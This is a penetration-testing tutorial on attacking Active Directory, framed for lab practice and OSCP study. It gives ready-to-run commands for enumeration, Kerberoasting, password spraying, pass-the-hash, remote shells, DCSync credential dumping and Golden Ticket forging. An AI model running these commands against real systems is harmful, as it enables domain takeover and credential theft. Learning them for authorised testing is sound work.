Active Directory Hacking: Complete Penetration Testing Guide (2026)

Active Directory is present in over 90% of enterprise networks. Compromising it means owning the entire organisation — every server, every user account, every file share. Understanding how to attack AD is essential for any serious penetration tester.

This guide covers the full attack chain from initial enumeration to domain compromise.

What Is Active Directory?

Active Directory (AD) is Microsoft's directory service — a centralised system for managing users, computers, groups, and policies across a Windows network. Key concepts:

• Domain: The logical boundary of an AD environment (e.g., corp.local)
• Domain Controller (DC): The server running AD — the crown jewel of any engagement
• Domain Admin: Accounts with full control over the entire domain
• Kerberos: The authentication protocol AD uses
• LDAP: The protocol used to query AD for information
• Group Policy (GPO): How configuration is pushed to all machines
• Service Principal Names (SPNs): Identifiers for services running under specific accounts — exploited in Kerberoasting

Phase 1: Initial Enumeration

After getting initial access (as any domain user), enumerate the AD environment.

BloodHound / SharpHound

BloodHound is the most powerful AD enumeration tool. It maps relationships between users, groups, computers, and GPOs, then visualises attack paths to Domain Admin.

On the target (run SharpHound collector):

# Download SharpHound and run it
.\SharpHound.exe -c All --zipfilename output.zip

On your attack machine:

# Start neo4j and BloodHound
sudo neo4j start
bloodhound &
# Upload the zip file from SharpHound
# Run pre-built queries: "Shortest Path to Domain Admin"

BloodHound will show you the exact chain of relationships to exploit — who can write to what, which groups have what privileges, and the shortest path to DA.

LDAP Enumeration (Without BloodHound)

# List all users
ldapsearch -x -H ldap://DC_IP -b "DC=corp,DC=local" "(objectClass=user)" sAMAccountName

# List all computers
ldapsearch -x -H ldap://DC_IP -b "DC=corp,DC=local" "(objectClass=computer)" name

# List all groups
ldapsearch -x -H ldap://DC_IP -b "DC=corp,DC=local" "(objectClass=group)" cn

Impacket Suite

# Enumerate users (anonymous or with creds)
python3 GetADUsers.py -all corp.local/user:password -dc-ip DC_IP

# Enumerate domain info
python3 ldapdomaindump.py -u 'corp\user' -p 'password' DC_IP

Phase 2: Credential Attacks

Kerberoasting

Any domain user can request a TGS (service ticket) for any account with an SPN. These tickets are encrypted with the service account's password hash — crack them offline.

# Find SPNs and get tickets (Impacket)
python3 GetUserSPNs.py corp.local/user:password -dc-ip DC_IP -request

# Crack with Hashcat (-m 13100 = Kerberos 5 TGS-REP)
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt

Why it works: Service accounts often have non-expiring passwords set years ago, sometimes by developers who chose weak passwords.

Defence: Use long random passwords for service accounts, enable AES encryption for Kerberos (RC4 tickets crack faster), use Managed Service Accounts (MSAs).

AS-REP Roasting

Some accounts have Kerberos pre-authentication disabled. For these accounts, you can request an AS-REP without knowing their password — and crack the response offline.

# Find accounts without pre-auth required
python3 GetNPUsers.py corp.local/ -usersfile users.txt -dc-ip DC_IP -no-pass -format hashcat

# Crack with Hashcat (-m 18200 = Kerberos 5 AS-REP)
hashcat -m 18200 hashes.txt /usr/share/wordlists/rockyou.txt

Password Spraying

Try one common password against all users. Avoids lockout by limiting attempts.

# CrackMapExec
crackmapexec smb DC_IP -u users.txt -p 'Winter2026!'

# Also try: Company name + year, Season + year, Welcome1!, P@ssword1

Warning: Check the domain lockout policy first — too many failures locks accounts.

Phase 3: Lateral Movement

Once you have credentials for one or more accounts:

Pass-the-Hash (PtH)

If you have an NTLM hash (from Mimikatz or secretsdump), you can authenticate as that user without knowing their plaintext password.

# CrackMapExec PtH
crackmapexec smb TARGET_IP -u Administrator -H 'NTLM_HASH'

# Impacket psexec with PtH
python3 psexec.py -hashes :NTLM_HASH Administrator@TARGET_IP

Pass-the-Ticket (PtT)

Import a Kerberos ticket (TGT or TGS) from one machine and use it on another.

# With Mimikatz: dump tickets from memory
# Then import on attack machine:
export KRB5CCNAME=/path/to/ticket.ccache
python3 psexec.py -k -no-pass corp.local/Administrator@TARGET

Remote Code Execution (When You Have Creds)

# psexec (noisy — creates a service)
python3 psexec.py corp.local/Administrator:password@TARGET_IP

# smbexec (stealthier)
python3 smbexec.py corp.local/Administrator:password@TARGET_IP

# WMI (built-in Windows, less detection)
python3 wmiexec.py corp.local/Administrator:password@TARGET_IP

# Evil-WinRM (PowerShell over WinRM — port 5985)
evil-winrm -i TARGET_IP -u Administrator -p password

Phase 4: Domain Compromise

DCSync Attack

Once you have Domain Admin (or accounts with replication rights like GetChanges + GetChangesAll), dump all domain credentials without touching the DC directly.

# Mimikatz (on a Windows machine)
lsadump::dcsync /domain:corp.local /all /csv

# Impacket (from Linux)
python3 secretsdump.py corp.local/DomainAdmin:password@DC_IP

This gives you the NTLM hash of every account, including krbtgt — which is used to forge Golden Tickets.

Golden Ticket

With the krbtgt account hash, you can forge valid Kerberos tickets for any user, with any privileges, that last for 10 years by default.

# Mimikatz - create Golden Ticket
kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-XXXX /krbtgt:KRBTGT_HASH /ticket:golden.kirbi

# Use the ticket
kerberos::ptt golden.kirbi

A Golden Ticket persists even after password resets — until the krbtgt password is rotated twice.

Silver Ticket

Forge a TGS for a specific service using the service account's hash. More targeted than Golden Ticket, but stealthier — no DC communication needed.

Key Tools Summary

Tool	Purpose
BloodHound	Attack path visualisation
SharpHound	BloodHound data collector
Impacket	Python AD attack suite (GetUserSPNs, secretsdump, psexec)
CrackMapExec	SMB enumeration, PtH, spraying
Rubeus	Kerberos attacks (Kerberoasting, AS-REP, ticket manipulation)
Mimikatz	Credential dumping from memory
Evil-WinRM	PowerShell remote shells
PowerView	PowerShell AD enumeration

Practice Environment

Set up an AD lab using our home lab guide. For Windows Server:

1. Install Windows Server 2022 (free evaluation)
2. Promote to Domain Controller
3. Create users with SPNs for Kerberoasting practice
4. Disable pre-auth on a test user for AS-REP Roasting

HackTheBox machines for AD practice: Cascade, Active, Monteverde, Blackfield, Forest (all retired, write-ups available).

Active Directory exploitation is a core OSCP topic — see our full OSCP guide for the certification path.